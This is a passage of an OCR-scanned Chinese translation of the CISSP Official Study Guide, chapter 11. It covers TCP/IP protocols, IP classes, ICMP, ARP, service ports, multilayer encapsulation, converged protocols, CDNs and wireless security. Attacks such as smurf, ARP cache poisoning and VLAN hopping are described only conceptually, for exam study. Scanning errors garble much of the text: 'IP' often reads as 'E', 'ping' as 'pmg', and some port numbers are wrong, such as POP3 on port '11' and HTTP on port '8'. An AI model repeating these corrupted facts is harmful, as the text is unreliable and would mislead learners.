器监拉网络上的活动， 看看在家庭网络上能够发现多 少被应用 的协议(也就是 TCPIIP 的子协议)。
309
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CISSP 官方学习指南(第 7 版)
使用嗅探器的 另 一个步骤是分析被捕获数据 包的内容。 选择一些不同的协议数据包， 并且查看
它们的报头。 找到 TCP、 ICMP、 ARP 和 UDP 数据包， 比较各自报头 的 内 容。 尝试定住这些协议使
用 的特殊标记或字段编码。 你可能会发现在协议中 存在许多 自 己 以 前不知道的信息。
用户数据报协议归DP)也在 OSI 模型的第 4 层(传输层)上运作 ， 它是一种无连接的、 "尽力而为
的 " 通信协议。 UDP 不提供错误检测或纠正， 不使用序列， 不使用流量控制机制 ， 不使用预先建立
的会话， 并且被认为是不可靠的。 UDP 具有极低的系统开销， 因此能够快速传输数据。 不过， 只 有
在数据传输并非绝对必要时， 我们才会使用 山P。 用于音频和/或视频的实时或流式通信经常会使
用 UDP。 在 IP 报头协议宇段中 ， 表示 UDP 的值为 1 7(Ox l l) 。
前面曾 经提到过， 与 TCP 报头相 比， UDP 报头相对简单 。 UDP 报头的长度为 8 个字节(64 位)。
UDP 头被分为 4 个部分或字段(每个 1 6 位长):
· 源端 口
• 目 的端 口
• 报文长度
• 校验和
2. 网络层协议和 I P 网络基础
TCP/IP 协 议族中的另一个重要协议在 OSI 模型的网络层上运作， 这种协议就是网际层协议(IP)o
E 为数据包提供了路由寻址。 路由寻址是全球性互联网通信的基础， 这是因为它提供了 身份标识手
段并规定了传输路径。 与 UDP 类似， IP 是无连接的、 不可靠的数据报服务。 E 不保证传送数据包
或 以正确顺序传送数据包， 并且不保证只进行一次传送。 因此， 必须在 E 上使用 TCP ， 从而获取可
靠 的和受控的通信 会话 。
IPv4 与 IPv6
IPv4 是全世界范 围 内 最广泛应用 的 网络协议版本。 不过， 新版本 IPv6 主要替代和改善了 网络
寻址和各由。 IPv4 使用 32 位的寻址模式， 而 IPv6 则何有 128 住进行寻址。 IPv6 提供了 许多 在 IPv4
中 不可用 的新功能。 IPv6 的一些新功能包括作用 域地址、 自 动配直和 QoS 优先值。 作用 域地址使管
理员 能够进行分组以及随后阻止或九许对网络服务(例如， 文件服务器或打印)的访问 。 自 动配直排
除了对 DHCP 和 NAT 的 需求。 QoS 优先值九许基于优先顺序 内 容来管理通信 。
2000 年以后发布的大多数操作 系统既可以 直接支持也可以通过插件支持 IPv6. 但是， 人们接受
IPv6 的 速度缓慢。 大多数 IPv6 网络目 前都部署在大公 司 、 研究 实验室或大学 内 。
IP 等级
任何安全专业人员都必须了 解 E 寻址和 E 等级的基础知识。 如果对 E 寻址、 子网划分、 等级
以及其他相关主题还比较陌生， 那么就需要花费一定的时间进行相应的学习 。 表 1 1 .3 和表 1 1 .4 概述
了 E 等级与默认子网的关键细节。 完整的 A 类子网可以支持 16777 214 台主机， 完整的 B 类子网
可 以支持 65 534 台主机， 而完整的 C 类子网则可以支持 254 台主机。 D 类子网被用于多擂， E 类子
网被保留给将来使用 。
第 11 章 网络安全架构与保护网络组件
表 1 1 .3 IP 等级
等级 开头的二进制数字 第一个字节的十进制范围
A 。 1-126
B 10 1 28-191
C 1 1 0 1 92-223
D 111 0 224-239
E 1111 240-255
表 1 1 .4 IP 等级默认的子网掩码
等级 默认的子网掩码 相当的 CIDR
A 255 .0.0.0 /8
B 255.255.0.0 /16
C 255.255.255.0 /24
注意， 全部的 A 类地址中 ， 整个 1 27 段被用来留给环路地址 ， 尽管实际中 只 使用 了一个环路
地址。
子网划分的另一个选项是使用无类域间路由选择(Classless Inter-Domain Routing， CIDR)o CIDR
没有使用采用完整点分十进制表示法的子网掩码， 而是使用掩码位。 因此， CIDR 通过斜线被添加
在 IP 地址之后， 例如， 使用 1 72. 16. 1.1/16 代替 255.255.0.0。 与传统的子网掩码技术相比 ， CIDR 的
一个重要优点是能够将多个不相邻的地址集组合在单个子网 内 。 例如， 我们可以将若干 C 类子网组
合为一个更大的子网分组。 如果对 CIDR 感兴趣， 那么可以在维基百科站点上通过查看 CIDR 文章
来获得详细信息 ， 或者访 问 IETF 关于 CIDR 的 盯C 文档(http://tools.ietf.org/html/rfc4632)。
ICMP 和 IGMP 是运行于 OSI 模型网络层上的其他协议。
ICMP 网络控制报文协议(IC趴在P)用于确定某个网络或特定链接的健康状况。 pmg、 trac巳route、
pathping 以及其他网络管理工具都利用 了 ICMPo ping 实用程序利用 了 ICMP 的 回应(echo)命令数据
包， 并且使用它们对远程系统进行试探。 因此， 可 以使用 pmg 来确定远程系统是否联机、 远程系统
是否正常响应、 中间系统是否支持通信以及支持通信的中间系统的性能效率级别。 ping 实用程序包
括重定向功能， 这个功能 允许将回 应响应发送至与原始系统不 同 的 目 的地。
遗憾的是， IC岛。 的功能往往被各种基于带宽的拒绝服务攻击所利用 ， 例如， ping ofd白白 攻击、
smurf攻击和 pmg洪泛攻击。这个事实已经形成今天的网络如何处理 I巳阳流量， 导致许多使用 IC陋
的网络限制或至少限制， 其吞吐率。ping of death 攻击发送一个畸形的大于 65 535 字节(大于最大 IPv4
数据包大小)的数据包给一台计算机并试图让其崩溃。 smurf攻击通过欺骗广播 ping 对 目 标网络产生
巨大的流量， pmg 数据包泛洪攻击是一个基本的拒绝服务。)oS)攻击， 它消耗 目标可用的所有带宽。
你应当认识到与 ICMP 相关的一些重要细节 。 首先， IP 报头协议宇段中表示 ICMP 的值为
I (OxOl )。 其次， IC1v1P 报头中的类型宇段定义了 IC1v1P 载荷 内所包含报文的类型或 目 的。 可定义的
类型超过 40 种， 但是只 有 7 种是常用的类型(参看表 1 1.5)。 可 以在WWW.lanaαg/assignments/icmpP缸ameters 站点上查看 IC1v1P 类型宇段值的完整列表。 值得注意的是， 列出的许多类型可能也支持
编码。 编码只是额外的数据参数， 这种参数能够提供与 ICMP 报文载荷的功能或目 的相关的更多细
节 。 一个事件会导致一个 IC1v1P 响应的一个例子是， 当尝试连接到 UDP 服务端 口 时， 服务和端 口不
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CISSP 官方学习指南(第 7 版)
在 目 标服务器上实际使用 ; 这会导致一个 ICMP 类型 3 响应被发送回 原点 。 由于 UDP 没有手段发送
错误， 协议枝将切换使用 ICMP 完成该任务。
312
表 1 1 .5 常用 的 ICMP 类型字段值
类型 功能
。 回 声应答
3 目 的地不可到达
5 重定向
8 回声请求
9 路由器通告
10 路由器请求
11 超时
IGMP 网络组管理协议(IGMP)允许系统支持多播。 多播是将数据传输给多个特定的接收者
(盯C 1112 讨论了执行 IGMP 多播操作的要求)0 IP 主机使用 IGMP注册其动态的多播组成员 。 己连
接的路由器也使用 IGMP 来发现这些组。 通过使用 IGMP 多播操作， 服务器在一开始就可以只传输
单个数据信号 ， 从而不必为每个预定的接收者分别传输数据信号 。 借助于 IGMP， 如果数据到达预
定接收者的路径有分叉， 那么最初的单个信号就会在路由器处被复用 。 IP j:1i头协议宇段中表示 IGMP
的值为 2(Ox02)。
ARP 与反向 ARP 对于逻辑和物理寻址模式的互操作性来说， 地址解析协议僻的与反向地址
解析协议(RARP)是必不可少的 。 ARP 用于将 E 地址(用于逻辑寻址的 32 位二进制数)解析为介质访
问控制φ1AC)地址(用于物理寻址的 48 位二进制数)一一或者 EUI-48一→甚至 EUI-64。 通过使用 MAC
地址， 某个网段上(例如， 通过一个集线器的线缆)的通信从源系统定向至 目 的系统。 RARP 用 于将
MAC 地址解析为 IP 地址。
ARP 和 RARP 的运作都需要使用缓存和广播 。 将 E 地址解析为 MAC 地址(或者将 MAC 地址
解析为 E 地址)的第一个步骤是查看本地 ARP 缓存。 如果本地 ARP 缓存中 已经存在所需的信息，
那么就会使用这些信息 。 有时， 使用名为 ARP 缓存污染的技术会滥用这种活动， 此时攻击者会在
ARP 缓存中插入伪造的信息。 如果 ARP 缓存中不存在所需的信息， 那么就会传输-个采用广播形
式的 ARP 请求。 如果被查询地址的所有者位于本地子网 内 ， 那么它就能够响应所需的信息。 如果被
查询地址的所有者不在本地子网内 ， 那么系统会默认使用默认的网关来传输通信数据。 随后 ， 默认
的网关(也就是路 由 器)需要执行 自 己的 ARP 或 RARP 进程。
3. 常见的应用层协议
在 TCPIIP 模型的应用层(包括 OSI 模型的会话层、 表示层和应用层)上， 驻留着许多特定于应用
或服务的协议 。 对于 CISSP 考试来说， 了 解这些协议的基础知识及相关的服务端 口 十分重要:
远程登录(Telnet)， TCP 端口 23 这是一个终端仿真网络应用 ， 支持能够执行命令和运行应用
程序的远程连通性 ， 但是不支持文件传输。
文件传输协议(FTP)， TCP 端口 20和21 这是一个支持文件交换的网络应用 ， 文件交换要求
进行匿名 的或特定的 身份认证。
普通文件传输协议σFTP)， UDP 端口 69 这是一个支持文件交换的网络应用 ， 文件交换不要
第 11 章 网络安全架构与保护网络组件
求进行身份认证。
简单邮件传输协议(SMTP)， TCP 端口 25 这个协议用于从客户端 向邮件服务器以及从一个邮
件服务器向 另一个邮件服务器传送邮件 。
邮局协议(POP3)， TCP 端口 11。 这个协议用于将邮件服务器收件箱中 的邮件传送至邮件客
户端。
互联网消息访问协议(IMAP)， TCP 端口 1 43 这个协议用于将邮件服务器收件箱中的邮件传输
至邮件客户端。 IMAP 比 POP3 更安全， 并且能够从邮件服务器中取出邮件头 ， 在不必先下载至本
地客户 端的情况下就可 以 直接从邮件服务器中删除邮件 。
动态主机配置协议(DHCP)， UDP 端 口 67 和 68 DHCP 将端 口 67 用于服务器点对点响应， 将
端 口 68 用于客户端请求广播。 在系统启动时， DHCP 用 于为系统指派 TCPIIP 配置设置。 DHCP 提
供了对网络寻址的集中化控制 。
超文本传输协议(HTTP)， TCP 端 口 8。 这个协议用于从 Web 服务器 向 Web 浏览器传送 Web
页面元素。
安全套接宇层(SSL)， TCP 端 口 443 这是一个在会话层上运作的、 像 VPN 一样的安全协议。
SSL 原本设计用于支持安全的 Web 通信。ITTPS)， 不过它能够保护任何应用层协议通信的安全。
行式打印后台程序(LPD)， TCP 端 口 51 5 这是一个用于管理打印作业以及向打印机发送打印
作业的网络服务。
X 视窗(X Window) ， TCP 端 口 6000-6063 这是一个用于命令行操作系统的 GUI APIo
引导协议(BootP)/动态主机配置协议(DHCP)， UDP 端口 67和68 这个协议用于通过 自 动分
配 E 配置 以及下载基本 的 OS 元素来连接无盘工作站和网络。 BootP 是 DHCP 的前身 。
网络文件系统(NFS)， TCP端口2049 这是一个用于支持在不同系统之间共享文件的网络服务。
简单网络管理协议(SNMP)， UDP 端 口 1 61 (UDP 端口 1 62 用于跟踪信息) 这个网络服务被用
于通过从中 央监控站轮询监控设备来收集网络健康和状况信息 。
1 1 .2.2 分层协议的应用
正如你从前面的章节中看到的， TCPIIP 协议套件包括几十个跨越不同协议桔层的单独协议。 因
此， TCPIIP 是一个多层协议。 TCPIIP 的 多层设计有许多好处， 特别是关系到它的封装机制。 例如，
Web 服务器和 Web 浏览器之间的通信工作在一个典型的网络连接上， Hπp 封装在 TCP 中 ， TCP
又封装在E中 ， 而 IP 又封装在 以太网中。 这个封装可以用 以 下方式进行展示:
[ Ethernet [ IP [ TCP [ HTTP 1 1 1 1
然而， 这不是 TCPIIP 封装支持的程度。 除此之外， 它也可 以添加额外的封装层。 例如， 添加
SSL/TLS 加密通信会使得 HTTP 和 TCP 之间插入一种新的封装 :
[ Ethernet [ IP [ TCP [ SSL [ HTTP 1 1 1 1 1
同理， 又可 以用诸如 IPSec 的网络层加密进行进一步封装:
[ Ethernet [ I PSec [ IP [ TCP [ SSL [ HTTP 1 1 1 1 1 1
然而， 封装并不总是用于 良好的初衷。 有许多隐蔽的信道通信机制， 在一个授权的协议中使用
封装隐藏或隔离另一个未授权的协议。 例如， 如果一个网络阻止 盯P 但允许 H口p， 那么利用诸如
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CISSP 官方学 习指南(第 7 版)
HTTP 隧道的工具就可 以 用来绕过这个限制 。 这导致出现以下所示的封装结构 :
[ Ethernet [ IP [ TCP [ HTTP [ FTP 1 1 1 1
通常情况下， HπP 带有与 自己Web 相关的载荷， 但通过 HTTP 隧道工具， 标准的有效载荷被
另 一个协议取代。 这种错误封装甚至可以在较低的协议战中 出现。 例如， ICMP 通常用于网络健康
测试而不是一般通信。 然而， 随着诸如 Loki 的 出现， ICMP 被转换为支持 TCP 通信的隧道协议。
Loki 的封装结构如下 :
[ Ethernet [ IP [ I CMP [ TCP [ HTTP 1 1 1 1 1
另 一个关注的领域是， 对无界封装的支持将带来在 VLAN 之间跳跃的能力。 VLAN 通过逻辑标
签分离实现网络分段。 这种被称为跳跃攻击的攻击通过创建二次封装 æEE 802. 1 Q VLAN 标签的方
式来进行:
[ Ethernet [ VLANl [ VLAN2 [ IP [ TCP [ HTTP 1 1 1 1 1 1
通过这样的两次封装， 第一次遇到的交换机将剥离第一个 VLAN 标签， 接下来的交换机将被内
部 VLAN 标签欺骗并将流量转移到其他 VLAN 中 。
多层协议提供 以 下好处:
• 可 以在更高层使用更为广泛的协议
• 封装可 以和不同 的层进行合作
• 在更为复杂的网络中 支持灵活性和弹性
多层协议有 以下几个缺点 :
• 允许隐蔽信道
• 过滤机制可被绕行
• 逻辑上实现的网络段边界可 以被逾越
DNP3
DNP3(分布式网络协议)是CISSP CBK专 门提出 的与多层协议相关的 内 容。 DNP3主要用 于电力和
水利行业的使用和管理， 主要用 来支持数据采集系统和系绞J主制设备之间 的通信， 包含子站计算机、
RTU(远和冬端单元， 通过嵌入式rf;i!快理器来控制设备)、 æD(智能电子设备)和SCADA主站(即控制 中心)。
DNP3是一个开放的公共标准。 DNP3是一个多层协议且功能类似于TCP店， 因为它有链路、 传输矛口传输
层。 关于DNP3的更多 细节 ， 请查看h即://www.dnp.orglAboutUsIDNP3%20Primer%20Rev今ωA抖t
1 1 .2.3 TCP/I P 的ß�弱'性
TCPIIP 的脆弱性有很多。 在各种操作系统中， 不正确地实现 TCP/IP 堆找很容易遭受缓冲区溢
出攻击、 SYN 泛洪攻击、 各种 DoS 攻击、 碎片攻击、 过长数据包攻击、 欺骗攻击、 中 间人攻击、
劫持攻击 以及编码错误攻击。
除了这些侵入式攻击以外， TCPIIP(以及大多数协议)还常常遭受通过监控或嗅探进行的被动式
攻击。 网络监控是对信息流量模式进行监控， 从而获得网络相关信息的行为。 数据包嗅探是从网络
中捕获数据包井期望从信息数据包内容中抽取出有用信息的行为。 有效的数据包嗅探器可以抽取出
用户名、 密码、 电子邮件地址、 加密密钥 、 信用卡号、 IP 地址和系统名等信息。
第 11 章 网络安全架构与保护网络组件
数据包嗅探和其他攻击在第 1 3 章 会有进一步的讨论。
1 1 .2.4 :t或名 解析
寻址和命名操作是使网络通信成为可能的重要组成部分。 如果没有寻址方案， 那么互联的计算
机就无法被区 分或指定通信的目的地。 同样， 如果没有命名方案， 那么人们就不得不凭借记忆和依
赖编号系统来识别计算机。 例如， 记忆 "Google.com" 比记忆 " 64.233. 1 87.99 " 容易得多 。 因此，
绝大多数命名方案是为人制定的 ， 而不是为计算机制定的。
理解在基于 TCP/IP 的网络中使用的寻址和命名 的基本概念相当重要。 我们应当意识到三个不同
的层。 它们在这里以相反顺序进行罗 列 ， 这是因为这三层是最为基础的 。
• 第三层或底层 ， 是 MAC 地址层。 MAC 地址或硬件地址是 " 永久 " 的物理地址。
• 第二层或中间层 ， 是 IP 地址层。 IP 地址是在 MAC 地址上 " 临时 " 赋予的逻辑地址。
• 最顶层是域名 。 域名 或计算机名 是在 IP 地址上 " 临时 " 赋予的友好转换约定。
"永久" 与 "临时" 地址
为这两个形容词加上 引 号的原 因 走它们并不完全准确 。 MAC 地址被设计为永久的物理地址。
但是， 某些 N1C 支持 MAC 地址变化， 而且大多数现代主制牛 系 统(包括 Windows 和 Linux)也能够做
到这一点。 N1C 支持 MAC 地址变化时 ， 变化在硬件上发生 。 操作系 统支持 MAC 地址变化时， 变
化只 在内存 中 发生 ， 不 过对其他所有 网 络实体来说 ， 就像硬件发生 了 变化一样，
因 为 只是逻辑的 ， 并且 DHCP 或管理员 能够随时对其进行修改， 所以 E 地址是临时的。 然而，
现实中还存在一些 系统静态分配 E 地址的例子。 同样， 计算机名 或 DNS 名 也是逻辑的 ， 因 此能够
被管理员 史改。
命名和寻址系统为每个网络连接组件授予其所需的信息， 并使这些系统尽可能简单地使用这些
信息。 人们得到人性化的域名 ， 网络连接协议得到与路由器友好的 E 地址 ， 网络接口则得到物理地
址。 不过， 为了允许彼此之间 的互操作性， 上述三种模式必须被链接在一起。 因此， 人们开发了域
名 系统ρNS)和 ARP/RARP 系统。 DNS 将人性化的域名解析为相应的 IP 地址 。 随后， ARP将IP 地
址解析为相应的 MAC 地址。 这两种解析操作都具有 自 己的逆过程， 也就是 DNS 逆向查找和 RARP
(请参看本章前面的 " ARP 和反向 ARP " 部分) 。
阅读更多 的 DNS 内 容
关于对 DNS 最新的 阐述， 包括其操作、 已知问题以 及 Dan Kaminski 漏洞， i青访问"An I1Iustrated
Guide to theKaminsky DNS Vulnerabili旷'(htφ:llunixwiz.netltechtips/iguide-kaminsky-dn岳阳ln.html)。
有 关 DNS 的描述， 尤其是对抗 Kaminski 漏 洞 ， 请访 问 www.dnssec.net。
1 1 .3 汇聚协议
汇聚协议是专业或专有协议和标准协议的融合， 例如 TCPIIP 协议。 汇聚协议的主要好处是使用
现有的 TCPIIP 网络基础设施支持特殊或专有主机而不用特殊部署修改后的网络硬件。这能有效地节
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CISSP 官方学 习指南(第 7 版)
约成本。 然而， 作为专有协议的实现， 并不是所有的汇聚协议提供相同 的吞吐量或可靠性。 这里描
述 了一些汇聚协议的常见例子:
以太网光纤通道(FCoE) 光纤通道是网络存储解决方案(存储区域网络(SA1'。或网络附加存储
(NAS))的一种形式， 允许高达 16Gbps 的上行高速文件传输。 设计 目 的是要在光纤线缆上运行 ， 之
后支持在铜电缆上运行， 并提供更便直的选择。 光纤通道通常需要 自 己专用的基础设施(单独的线
缆)。 然而， 以太网光纤通道σCoE)可以用来支持在现有的网络基础设施上使用。 FCoE 用 来在 以太
网网络上封装光纤通道通信， 通常需要 1 0 Gbps 以太网 以便支持光纤通道协议。 通过这一技术， 光
纤通道作 为网络层或 OSI 第三层协议 ， 替 换 IP 作 为标准 的 以太网 网络负载。
MPLS(多协议标签交换) MPLS(多协议标签交换)是一种高通过 、 高性能的网络技术， 它将数
据在网络中 以基于最短路径的标签而不是更长的网络地址进行传输。 这种技术节省了传统的基于 E
的路由过程， 这个过程可能相当复杂。 此外， 设计MPLS 的 目 的是通过封装处理广泛的协议。 这样，
网络就不局限于 TCPIIP 和兼容的协议。 MPLS 支持许多其他网络技术的使用 ， 包括 Tl厄l 、 ATM、
帧中继、 SONET 和 DSL。
互联网小型计算机系统接口(iSCSI) 互联网小型计算机系统接口(iSCSI)是一个基于 E 的网络
存储标准。 这项技术可以用来支持位置独立的文件存储、 传输， 以及对局域网、 广域网的检索， 或
者 公共互联网连接。 iSCSI 通常被认为是光纤通道的一种低成本替代方案。
IP 语音(VoIP) IP 语音(VoIP)是用于在 TCPIIP 网络上传输语音和/或数据的一种隧道机制。 因
为 VoIP 往往更便直并提供了 广泛的功能和选项， 它 己经取代或具备取代 PS1N 的潜力。 VoIP 可 以
用在计算机网络上， 作为传统电话和移动设备的 替换。 而且， VoIP 还能够支持视频和数据传输， 让
视频会议和项 目 远程协作成为可能。 VoIP 以商用和开源的方式被使用 。 一些 VoIP 解决方案需要专
门 的硬件来代替传统的手机J基站， 或允许这些设备连接到 VoIP 系统并使用原有功能。 某些 VoIP 解
决方案是软件方式， 例如 S问轩， 它允许用户使用现有的扬声器、 麦克风或耳机来代替传统的 电话
听筒。 其他更多是基于硬件方式， 如 magicJack， 它允许使得现有的 PS1N 电话设备插入 USB 适配
器， 利用互联网进行 VoIP 的使用 。 通常， 飞loIP到VoIP 通话是免费的(假设采用相 同或兼容的 VoIP
技术)， 而 VoIP 与 陆地线路的通话通常 以每分钟费用 的 方式进行计费 。
软件定义网络(SDN) 软件定义网络(SDN)是一种独特的对网络进行操作、 设计和管理的方法。
该概念基于这样一个理论， 即传统网络设备配置的复杂性(如路由器和交换机)经常强迫组织依附于
某单一的设备厂商(如思科)， 这不仅限制 了 网络的灵活性， 而且难以应对不断变化的物理和商业条
件。 SDN 旨在把控制层(即网络服务的数据传输管理)和基础设施层(即硬件和基于硬件的 设置)分离 。
此外， 它还移除 了 IP 寻址、 子网、 路由 以及诸如此类从需求到被固化程序编码或解释的传统网络概
念
SDN 提供了一种直接从中央位置进行网络设计的新方法， 它是灵活的、 与厂商无关的并且基于
开放标准。 利用 SDN 使得组织可以不从单一供应商采购设备 。 相反， 它允许组织混合和匹配需要
的硬件， 如选择最划算的或最高通过性能的设备而不管供应商是谁。 之后， 通过集中管理接口进行
配置和管理硬件控制 。 此外 ， 在硬件上的 应用 设置可 以 根据需要动态地进行变更和调整。
另 一种关于 SDN 的思考方式是其有效的网络虚拟化。 它允许数据传输路径、 通信决策树以及
流量控制在 SDN 控制层是虚拟化的 ， 而不是在每个设备的基础硬件上进行处理。
第 11 章 网络安全架构与保护网络组件
11.4 内容分发网络
内 容分发网络(CDN)或内 容转发网络， 是资源服务的集合 ， 被部署在互联网 的许多数据中心 以
提供低延迟、 高性能和所承载内容的高可用性。 CDN 通过分布式数据主机提供客户所需的多媒体性
能质量， 而不是将媒体内容存储在单一位置的单一主机上， 并向互联网的其他地方进行内 容分发。
这是一种地理和逻辑负载均衡的结果。 在所有资源发起请求的负荷下， 没有哪个服务器或群集服务
器会变得有压力， 且托管服务器变得更接近于发起请求的客户 。 总的结果是较低的延迟和更高质量
的吞吐量。 目 前有很多 CDN 服务提供商， 包括 CloudFlare、 Akamai、 Amazon CloudFront、 CacheFly
和 Level 3 Cornrnunication 。
大多数 CDN关注于服务器的物理分布， 然而基于客户 的 CDN 也是可能的 。这通常被称为P2P(点
对点)。 最被广泛认可的 P2P CDN 是 BitTorrent。
11.5 无线网络
无线网络因为易于部署和相对低廉的成本， 所以成为一种连接企业和家庭系统的流行方法。 它
将网络变得比 以往任何时候都更灵活。 工作站和便携式系统不再绑在一根电缆上 ， 它们可以在部署
无线接入点的信号范围 内自由漫游。 然而， 随着这种 自 由的到来， 带来了 额外的漏洞。 从历史上看，
无线网络己经相当不安全了 ， 主要是因为最终用户和组织缺乏知识以及设备制造商提供的不安全默
认配置。 无线网络正遭受任何有线网络中存在的 同样的漏洞、 威胁和风险， 此外还增加了 远程窃听、
数据包嗅探以及新的 DoS 和入侵形式。 正确地管理无线网络以提供可靠的访问性及安全性并不总是
一个简单或直接的主题。 本节将探讨各种无线安全问题。
数据泄露是数据通过电磁信号进行传输。 几乎所有计算机或网络活动都会遭遇某种形式的数据
泄露。 然而， 这个词经常用于指多余的泄露或是 由于泄露而导致的数据风险 。
当 电子移动时就会发生泄露。 电子运动产生电磁场。 如果能读到电磁场的话， 可 以在其他地方
再次创造， 以便复制电子流。 如果原来的电子流被用来通信数据 ， 那么重新创建的 电子流也可以重
新创建原始数据。 这种形式的 电子窃听听起来像科幻小说， 但却是科学事实。 美国政府从 20 世纪
50 年代一直以来都在 TEMPEST 项 目 下研究 电磁泄漏安全。
防止窃听和数据窃取需要多方面的努力。 首先， 必须保持对所有电子设备的物理访问控制。 其
次， 未经授权的人员仍然可能接近或进行物理访问， 必须使用屏蔽设备和屏蔽介质 。 最后， 应该使
用 安全的加密协议发送任何敏感数据。
1 1 .5.1 保护无线接入点
无线覆盖单元是在物理环境中无线设备可以接入到无线接入点的 区域。 无线覆盖单元可导致环
境中 的安全泄露， 允许攻击者轻易连接到无线网络。 应该调整无线接入点的强度 ， 以确保用户接入
认证的最大化和攻击者接入的最小化。 做这些工作需要单独的无线接入点的独特位置、 外罩防护以
及噪声屏蔽。
802.1 1 是IEEE下无线网络通信的标准。 各种版本(技术上称为修订)己经在无线网络硬件上得到
了 应用 ， 这些标准包括 802. l 1a、 802. 1 1b、 802. 1 1g和 802. 11no 802.l 1X有时用来泛指整个协议族。
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CISSP 官方学习指南(第 7 版)
然而， 推荐用 802. 1 1 进行命名 ， 因 为 802. 1 1x容易和 802. l x混淆， 802.1x是一个与无线无关的认证技
术。每一个 802. 1 1 技术的修订版本都要比之前的稍微好些- -2Mbps、 1 1Mbps、 54Mbps和 200+Mbps，
表 1 1 .6 描述了 各个版本。 802. 1 1 标准还定义 了有线等效保密仰EP)， 它在无线通信时提供防窃听保
护 。 802. 1 1 b、 802. 1 1 g*口 802. 1 1n都使用 同样的频率。 此外 ， 它们保持向 后兼容性。
表 1 1 .6 802.1 1 无线网络修订版
802.1 1 及修订版 速 率 频 率
802. 11 2Mbps 2.4GHz
802. 1 1 a 54Mbps 5GHz
802.1 1 b 1 1 Mbps 2.4GHz
802.11g 54Mbps 2.4GHz
802. 11n 200+Mbps 2.4GHz 或 5GHz
802. 11ac 1 Gbps 5GHz
部署无线网络时 ， 应该部署无线接入点并使用基础设施模式而不是点对点模式。 点对点模式意
味着任意两个无线网络设备， 包括两个无线网络接口卡例IC) ， 能在不需要中心控制认证的情况下进
行通信。 基础设施模式意味着需要一个无线接入点， 系统上的无线网卡之间不能互联。 无线接入点
的无线网 络接入控制应该进行强化。
基础设施模式的概念有几个变化模式， 包括独立模式、 有线扩展模式、 企业扩展模式和桥接模
式。 独立模式指无线接入点连接无线客户端但是没有提供任何有线资源。 无线接入点服务就像一个
无线交换机。 有线扩展模式指无线接入点连接无线客户端到有线网络。 企业扩展模式指多个无线
接入点(WAP)用来连接巨大的物理区域到同一个有线网络。 每一个无线接入点都使用相同的扩展
服务集标识符(ESSID)， 因此客户端能在更换区域时保持网络连接， 即使它们的无线阿卡从一个无
线接入点到另一个无线接入点改变关联。 桥接模式发生在当无线连接用于连接两个有线网络的情
况。 这通常发生在有线桥接不方便时 ， 例如 ， 在地面或建筑物之间连接网络， 使用专用 的无线桥
接器。
注意 :
SSID(服务集标识符)通常被滥用 于表示无线网络的名称。 技术上有两种类型 的 SSID: 扩展服务
集标识符但SSID)和基本服务集标识符但SSID). ESSID 是使用 无线基站或 WAP 的无线网络名 称。
BSSID 是使用 ad hoc 或点对点模式(未伽有 无线基站或 WAP)时无线网络的名称。 然而， 在基础设施
模式下运行时， BSSID 走拥有 ESSID基站主机的 MAC 地址， 用 于 区分扩展无线网 络中 的多 个基站。
@ 真实场景
无线信道
对指定频率的无线信号的细分称为信道。 可以把它想象为 同 一条高速公路上不 同 的车道。 在美
国有 1 1 个频道， 在欧洲有 1 3 个频道， 而在 日 本有 1 7 个频道。 这样的差异源于 当地法律对频率的 管
理规范(可参考美 国联邦通信委员 会的 国 际版本)。
第 1才 章 网络安全架构与保护网络组件
无线客户 端和接入点之间 的无线通信发生在单一的信道上。 但是， 当 两 个或两个以上的接入点
在物理位直上比较接近时， 其中一个信道上的信号可以干扰另 一个信道上的信号。 避免这一情况发
生的方法是设直物理上接近接入点的信道， 以尽可能地减少信道重叠干扰。 例如， 如果一个建筑有
4 个接入点并设直在沿着建筑物长度的一条线上， 信道设置可能是 l 、 11、 l和1 1 。 然而， 如果建筑
物是广场且每一个角落放直一个接入点， 则信道设直可能需要 l 、 4、 8 和 1 1 。 可以想象信号在羊一
的信道中就像是在高速公路车道上的 宽 负 载卡车。 如果每个车道中都有大型 重卡车 ， 那 么在这些车
道 中 同 时通行卡车就存在危险。 同样， 在相邻信道中 的无线信号会互相干扰。
1 1 .5.2 保护 SSID
为无无线网络分配服务集标识符(SSID， 无论是 BSSID 还是 ESSID)是为了 区分是这个无线网络
还是另一个无线网络。 如果多个基站或无线接入点都参与同一个无线网络， 则定义一个扩展服务集
标识符(ESSID)o SSID 类似于工作组的名称。 如果无线客户端知道 SSID， 它们就可以通过配置无线
网卡和对应的 WAP 进行通信 。 知晓 SSID 并不总是意味着同意登录， 不过， 由于 WAP 可以使用众
多 的安全功能， 从而阻止不必要的访问 。 默认 SSID 由厂商进行定义。 由于这些默认 SSID 是众所周
知的， 因 此标准的安全实践表明 SSID 在部署之前应该进行变更。
SSID 广播由 WAP 通过信标帧进行特殊传输。 它允许在无线覆盖范围 内 的任意无线网卡尽可能
简单地进行无线网络连接。 然而， 这个默认的 SSID 广播应禁用 以便保持无线网络的私密性。 即便
如此， 攻击者仍然可以用无线嗅探器借由无线客户 端和 WAP 之间 的传输发现 SSID。 因此， 禁用 SSID
广播并不是一个真正的安全机制。 相反， 应使用 WPA2 作为一个可靠的身份认证和加密解决方案而
不是试图隐藏无线网络的存在 。
关闭 SSI D 广播
无线网络通常通过称为信标帧 的特殊数据 包来宣告它们的 SSID。 当 SSID 广播时， 任何拥有 自
动检测和连接功能的设备不仅可以看到网络， 也可以开始与 网 络进行连接。 网 络管理员 可以选择禁
用 SSID 广播以使隐藏 自 己的 网络， 从而免受未经才是权人员 的访问 。 然而， SSID 仍然需要直接从基
站进行发送， 使用 无线数据包嗅探器的人仍然可以发现。 因 此， 如果网络不供公众使用 ， 则 SSID
应被禁用 ， 但需要意识到 隐藏 SSID 不是真正的安全机制 ， 因 为具备基础无线知识的任何黑客都可
以 很容易地发现 SSIDo
1 1 .5.3 执行现场勘测
用于发现不需要无线接入的物理环境区域的一种方法是执行现场勘测。 现场勘测的过程是调查
在环境中部署无线接入点所需的信号强度。 这项任务通常包括携带便携式无线设备进行现场行走观
察 ， 留意无线信号的 强度 ， 并据此在建筑图 上进行标注。
执行现场勘测来确保无线设备使用 的所有位置具备足够的信号强度， 同时在同一时间 ， 最大限
度地减少或消除不允许无线接入位置(公共区域、 跨楼层、 其他房间或建筑夕阳的无线信号。 现场勘
测 对于评估现有无线 网络的部署、 扩展当前应用 的计划 以及未来部署计划非常有用 。
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CISSP 官方学 习指南(第 7 版)
1 1 .5.4 使用 加密协议
在使用无线链路进行正常的网络通信之前， IEEE 802. 1 1 标准定义了 两种 由无线客户端向无线接
入点进行验证的方法。 这两种方法是开放系统认证(Open Sγstem Authentication， OSA)和共享密钥认
